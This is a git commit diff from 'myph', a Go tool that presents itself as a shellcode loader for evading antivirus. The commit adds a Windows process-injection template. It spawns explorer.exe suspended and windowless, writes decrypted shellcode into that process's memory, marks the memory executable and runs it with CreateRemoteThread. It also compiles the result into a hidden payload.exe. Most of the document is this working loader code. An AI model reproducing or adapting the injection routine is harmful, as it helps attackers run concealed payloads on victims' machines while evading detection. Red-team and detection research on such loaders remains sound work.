myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 86b590c3d431dad745f8fcf6d1a7ca030ff50cb5
parent 82c296c9a762a6f28f61329587793bd5aac3df36
Author: winds0r <[email protected]>
Date: Wed, 19 Jul 2023 16:22:31 +0900

wip(loader): got compilation working lets see if there is a callback

Diffstat:
M.gitignore | 1+
Mcli/parser.go | 9+++++----
Mloaders/syscall.go | 151+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++----------------
Mtools/encodings.go | 11++++++-----
Mtools/utils.go | 5++---

5 files changed, 135 insertions(+), 42 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -9,6 +9,7 @@
 *.so
 *.dylib
 myph
+myph-out/
 
 # Test binary, built with `go test -c`
 *.test
diff --git a/cli/parser.go b/cli/parser.go
@@ -97,16 +97,17 @@ func GetParser(opts *Options) *cobra.Command {
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
 
-			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", "main.go")
+			execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
 			execCmd.Dir = opts.Outdir
 
-			stdout, stderr := execCmd.Output()
+			_, stderr := execCmd.Output()
 
-			if string(stdout) == "" {
-				print(stderr)
+			if stderr != nil {
+                fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
 				os.Exit(1)
 			}
 
+            println("[+] Done! You may find your payload in out directory...")
 		},
 	}
 
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -9,52 +9,143 @@ func GetSyscallTemplate() string {
 package main
 
 import (
-    "errors"
-    "syscall"
-    "unsafe"
+        "os"
+        "syscall"
+        "unsafe"
+        "strings"
+        "strconv"
 )
 
-func ExecuteOrderSixtySix(shellcode []byte) (error) {
 
-    MEM_COMMIT := 0x1000
-    MEM_RESERVE := 0x2000
-    PAGE_EXECUTE_READ := 0x20
-    PAGE_READWRITE := 0x04
+const (
+    MEM_COMMIT                = 0x1000
+    MEM_RESERVE               = 0x2000
+    PAGE_READWRITE            = 0x4
+    PAGE_EXECUTE_READ         = 0x20
+    PAGE_EXECUTE_READWRITE    = 0x40
+    PROCESS_CREATE_THREAD     = 0x0002
+    PROCESS_QUERY_INFORMATION = 0x0400
+    PROCESS_VM_OPERATION      = 0x0008
+    PROCESS_VM_WRITE          = 0x0020
+    PROCESS_VM_READ           = 0x0010
+    CREATE_SUSPENDED          = 0x4
+    CREATE_NO_WINDOW          = 0x8000000
+)
 
-    kernel32 := syscall.MustLoadDLL("kernel32.dll")
-    ntdll := syscall.MustLoadDLL("ntdll.dll")
+var (
+    kernel32            = syscall.MustLoadDLL("kernel32.dll")
+    ntdll               = syscall.MustLoadDLL("ntdll.dll")
 
-    VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
-    VirtualProtect := kernel32.MustFindProc("VirtualProtect")
-    RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+    RtlCopyMemory       = ntdll.MustFindProc("RtlCopyMemory")
 
-    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
-    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
-        return errVirtualAlloc
-    }
+    VirtualAlloc        = kernel32.MustFindProc("VirtualAlloc")
+    VirtualAllocEx      = kernel32.MustFindProc("VirtualAllocEx")
+    VirtualProtectEx    = kernel32.MustFindProc("VirtualProtectEx")
+    WriteProcessMemory  = kernel32.MustFindProc("WriteProcessMemory")
+    OpenProcess         = kernel32.MustFindProc("OpenProcess")
+    CreateRemoteThread  = kernel32.MustFindProc("CreateRemoteThread")
+    closeHandle         = kernel32.MustFindProc("CloseHandle")
+)
 
-    if addr == 0 {
-        return errors.New("[!]VirtualAlloc failed and returned 0")
+
+func StringBytesParseString(byteString string) (string, error) {
+    byteString = strings.TrimSuffix(byteString, "]")
+    byteString = strings.TrimLeft(byteString, "[")
+    sByteString := strings.Split(byteString, " ")
+    var res []byte
+    for _, s := range sByteString {
+        i, err := strconv.ParseUint(s, 10, 64)
+        if err != nil {
+            return "", err
+        }
+        res = append(res, byte(i))
     }
 
-    _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+    return string(res), nil
+}
+
+func loadProcess(target string) *syscall.ProcessInformation {
+    var si syscall.StartupInfo
+	var pi syscall.ProcessInformation
+
+	commandLine, err := syscall.UTF16PtrFromString(target)
+
+	if err != nil {
+		panic(err)
+	}
+
+    err = syscall.CreateProcess(
+		nil,
+		commandLine,
+		nil,
+		nil,
+		false,
+		CREATE_SUSPENDED | CREATE_NO_WINDOW,
+		nil,
+		nil,
+		&si,
+		&pi)
 
-    if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
-        return errRtlCopyMemory
+	if err != nil {
+		panic(err)
+	}
+
+	return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+    /* spawn target process */
+    process := loadProcess("explorer.exe")
+    oldProtectCfg := PAGE_READWRITE
+
+     /* allocating the appropriate amount of memory */
+    baseAddr, _, err := VirtualAllocEx.Call(
+        uintptr(process.Process),
+        0,
+        uintptr(len(shellcode)),
+        MEM_COMMIT | MEM_RESERVE,
+        PAGE_READWRITE,
+    )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
+
+    /* overwriting process memory with our shellcode */
+    _, _, err = WriteProcessMemory.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        0,
+    )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
     }
 
-    oldProtect := PAGE_READWRITE
-    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
-    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
-        return errVirtualAlloc
+    /* changing permissions for our memory segment */
+    _, _, err = VirtualProtectEx.Call(
+        uintptr(process.Process),
+        baseAddr,
+        uintptr(len(shellcode)),
+        PAGE_EXECUTE_READ,
+        uintptr(unsafe.Pointer(&oldProtectCfg)),
+    )
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
     }
-    _, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
 
-    if errSyscall != 0 {
-        return errSyscall
+    /* load remote thread */
+    _, _, err = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+        if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
     }
 
-    return nil
+    /* close process handler */
+    _, _, err = closeHandle.Call(uintptr(process.Process))
+    if err.Error() != "The operation completed successfully." {
+        os.Exit(1)
+    }
 }
     `)
 }
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -3,7 +3,6 @@ package tools
 import (
 	b32 "encoding/base32"
 	b64 "encoding/base64"
-	hex "encoding/hex"
 	"errors"
 	"fmt"
 	"math/rand"
@@ -17,11 +16,11 @@ type BytesEncodingType string
 const (
 	EncodingBase64 BytesEncodingType = "base64"
 	EncodingBase32 BytesEncodingType = "base32"
-	EncodingHex    BytesEncodingType = "hex"
+    // EncodingHex    BytesEncodingType = "hex" FIXME(djnn): update main template to support this
 )
 
 // / Available encodings type
-var Encodings = [3]string{"base64", "base32", "hex"}
+var Encodings = [3]string{"base64", "base32"}
 
 // String is used both by fmt.Print and by Cobra in help text
 func (e *BytesEncodingType) String() string {
@@ -31,11 +30,11 @@ func (e *BytesEncodingType) String() string {
 // / Set must have pointer receiver so it doesn't change the value of a copy
 func (e *BytesEncodingType) Set(v string) error {
 	switch v {
-	case "base64", "base32", "hex":
+	case "base64", "base32":
 		*e = BytesEncodingType(v)
 		return nil
 	default:
-		return errors.New(`must be one of "base64", "base32", or "hex"`)
+		return errors.New(`must be one of "base64", "base32"`)
 	}
 }
 
@@ -63,8 +62,10 @@ func EncodeForInterpolation(method BytesEncodingType, toEncode []byte) string {
 	case EncodingBase32:
 		return fmt.Sprintf("\"%s\"", b32.StdEncoding.EncodeToString(toEncode))
 
+    /*
 	case EncodingHex:
 		return fmt.Sprintf("\"%s\"", hex.EncodeToString(toEncode))
+    */
 
 	default:
 		return ""
diff --git a/tools/utils.go b/tools/utils.go
@@ -115,8 +115,8 @@ var Code = %s
 
 func main() {
 
-    decodedSc := enc.DecodeFromString(Code)
-    decodedKey := enc.DecodeFromString(Key)
+    decodedSc, _ := enc.StdEncoding.DecodeString(Code)
+    decodedKey, _ := enc.StdEncoding.DecodeString(Key)
 
     decrypted, err := Decrypt(decodedSc, decodedKey)
     if err != nil {
@@ -126,5 +126,4 @@ func main() {
     ExecuteOrderSixtySix(decrypted)
 }
     `, encoding, key, sc)
-
 }